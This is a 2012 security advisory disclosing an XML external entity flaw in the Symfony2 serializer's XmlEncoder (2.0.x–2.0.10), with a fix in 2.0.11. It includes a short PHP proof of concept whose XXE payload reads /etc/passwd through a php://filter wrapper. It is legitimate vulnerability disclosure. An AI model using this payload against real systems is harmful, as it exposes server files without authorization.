Sense of Security – Security Advisory – SOS-12-002
| Release Date. | 05-Mar-2012 |
| Last Update. | – |
| Vendor Notification Date. | 24-Feb-2012 |
| Product. | Symfony2 |
| Platform. | PHP |
| Affected versions. | 2.0.x – 2.0.10 |
| Severity Rating. | Medium |
| Impact. | Exposure of sensitive information |
| Attack Vector. | Remote without authentication |
| Solution Status. | Vendor patch / Upgrade to 2.0.11 |
| CVE reference. | CVE- Not yet assigned |
Details.
The XMLEncoder component of Symfony 2.0.x fails to disable external entities when parsing XML. In the Symfony2 framework the XML class may be used to deserialize objects or as part of a client/server API. By using external entities it is possible to include arbitrary files from the file system. Any application written in Symfony2 that parses user supplied XML is affected.
Proof of Concept.
$serializer = new Serializer(array(), array(
‘xml’ => new \Symfony\Component\Serializer\Encoder\XmlEncoder()
));
$x = $serializer->decode(‘<!DOCTYPE scan
[<!ENTITY test SYSTEM
“php://filter/read=convert.base64-encode/resource=/etc/passwd”>]>&test;’,
‘xml’);
var_dump($x);
// $x will now contain a copy of /etc/passwd base64 encoded.
Solution.
Upgrade to Symfony 2.0.11 or apply the vendor provided patch.
Discovered by.
Phil Taylor from Sense of Security Labs.